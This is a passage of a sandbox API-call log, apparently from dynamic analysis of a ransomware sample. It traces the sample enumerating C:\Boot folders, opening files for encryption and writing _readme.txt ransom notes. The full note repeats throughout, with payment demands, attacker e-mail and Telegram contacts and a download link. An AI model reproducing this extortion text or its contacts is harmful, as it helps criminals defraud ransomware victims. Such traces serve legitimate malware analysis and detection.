lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.820] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\bootmgr.exe.mui") returned=".mui" [0112.820] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.821] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\memtest.exe.mui") returned=".mui" [0112.821] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.821] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.821] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.821] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.821] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0112.821] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.821] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.821] PathFindFileNameW (pszPath="") returned="" [0112.821] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.821] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.821] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.822] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.822] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0112.822] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0112.822] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.822] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.822] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.822] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.822] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned=".mui" [0112.822] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.822] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.822] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.822] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.823] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0112.823] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.823] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.823] PathFindFileNameW (pszPath="") returned="" [0112.823] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.823] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.823] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.823] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.823] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0112.823] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0112.823] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.823] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.824] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.824] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.824] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned=".mui" [0112.824] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.824] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.824] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.824] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.824] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0112.824] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.824] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.824] PathFindFileNameW (pszPath="") returned="" [0112.824] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.825] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.825] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.825] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.825] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0112.825] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0112.825] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.825] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.825] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.825] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.825] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\chs_boot.ttf") returned=".ttf" [0112.825] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.826] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\cht_boot.ttf") returned=".ttf" [0112.826] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff 